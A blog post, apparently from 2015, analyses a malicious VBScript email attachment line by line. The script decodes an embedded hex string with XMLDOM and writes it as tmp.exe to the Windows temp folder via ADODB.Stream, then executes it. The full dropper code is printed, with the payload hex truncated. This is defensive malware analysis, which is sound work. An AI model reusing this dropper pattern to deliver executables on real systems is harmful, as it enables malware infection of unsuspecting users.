Malicious VBS Script Walkthrough

This malicious VBS script was attached to a suspicious email. Below I'll walk-through line by line and explain what it's doing.
This is the original code.


data="895C241833C333442334424403344244......4444494e475858504144"
data=split(data,"H")(1)
set ws = CreateObject("WScript.Shell")
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"
saveFile fn,data
ws.Run fn
wscript.sleep 100

sub saveFile(fName,str)
  dim temp
  set xmldoc = CreateObject("Microsoft.XMLDOM")
  xmldoc.loadXml ""
  set pic = xmldoc.createElement("pic")
  pic.dataType = "bin.hex"
  pic.nodeTypedValue = str
  temp = pic.nodeTypedValue
  with CreateObject("ADODB.Stream")
    .type = 1
    .open
    .write temp
    .saveToFile fName, 2
    .close:
  end with
end sub


Let's do a line-by-line walk-through of the code above. First...

data="895C241833C333442334424403344244......4444494e475858504144"


There was a large variable that contains a string version of the EXE or malicious payload that the attacker wants to run on your computer.

data=split(data,"H")(1)


But actually the big string variable contains extra junk as well and only part of it is for the malicious executable. The letter "H" mark boundaries in the long string, so it splits it apart and grabs one part of the string.

set ws = CreateObject("WScript.Shell")


Then it's going to create an ActiveX object that will allow the attack to interact with the shell (the command prompt).

fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"


First thing they do with the command prompt is use it to determine where the windows temp folder path is because no matter who the attacker is they're more than likely going to have write access to the temp directory. Then with that folder path they generate a string that will hold the final destination path where their malicious executable that they're calling 'tmp.exe' is going to get saved and run from.

saveFile fn,data


Then they save the executable stored in that string variable to that temp folder path they just found. NOTE: saveFile is not a system function, it is a custom written one that we will talk about more below.

ws.Run fn
wscript.sleep 100


Then they use the shell object to run the executable they just saved. And they have the script sleep/pause a little bit just to ensure their executable finishes running. NOTE: We didn't discuss today what the executable was doing but let's assume it's installing some sort of backdoor that allows the attacker to control your computer and send/receive data from it at a later date.

Now as we stated above there was one custom function called saveFile that we need to dig a bit deper into.

sub saveFile(fName,str)


The function is called saveFile and it takes 2 parameters, the path to save to (called 'fName') and the data to save to the file (called 'str').

  dim temp
  set xmldoc = CreateObject("Microsoft.XMLDOM")
  xmldoc.loadXml ""


First some variables are create. A 'temp' variable will be used to hold the final modified binary hex version of the executable string passed in to this function and written to disk. The xmldoc will be used as part of transformation process to get that string into the binary hex executable. xmldoc is an ActiveX XMLDOM object (allows reading, writing and modifying of XML files). Initially the attacker just puts an empty xml document (with just the version header) into the variable.

  set pic = xmldoc.createElement("pic")
  pic.dataType = "bin.hex"
  pic.nodeTypedValue = str
  temp = pic.nodeTypedValue


Now the attacker is going to use that empty xml document simply as a pass-thru to transform his string to binary hex. How? He creates inside that empty xmldoc 1 new element called 'pic'. He sets the data type of 'pic' to 'bin.hex' (Binary Hex which is what is needed for an executable). Then he puts the string version of the executable (passed in as 'str') to the xml element. Now when he accesses the 'nodeTypedValue' parameter of the xmldoc, that's where the magic happens and the XMLDOM object automatically converts his string to binary hex. He puts that new Binary Hex value into the 'temp' variable. Almost done.

  with CreateObject("ADODB.Stream")
    .type = 1
    .open
    .write temp
    .saveToFile fName, 2
    .close:
  end with
end sub


Final step for the attacker is to create an ActiveX object ADODB.Stream that allows manipulation of a binary stream of data (which he happens to have saved in 'temp' now). He uses the dot (.) to concatenate a bunch of function calls together. First he sets the type of data (1=binary, 2=text, etc.). Then he opens the binary stream in memory. Then he writes his Binary Hex from 'temp' to the stream in memory. Then he saves the stream from memory to disk at the location specified in 'fName' and passes the save Option (1 = don't overwrite if exists, 2 = overwrite if exists). Then he closes the stream which means memory is flushed out to disk and we're done. Let the evilness begin.

Hope this was helpful.
NOTE: I didn't include the entire data variable's payload, it was long and not necessary for my walk-through.
NOTE2: I re-orged the code below from the original pastebin dump just to make it more readable.
NOTE3: The original script had a bunch of colons (:) which allows VBS scripts to write multiple commands on the same line. I removed them just to make it more readable again.




More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. ali.txt php injection walk-thru
2. pagerank botnet sql injection walk-thru
3. apache struts2 rce walk-thru

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.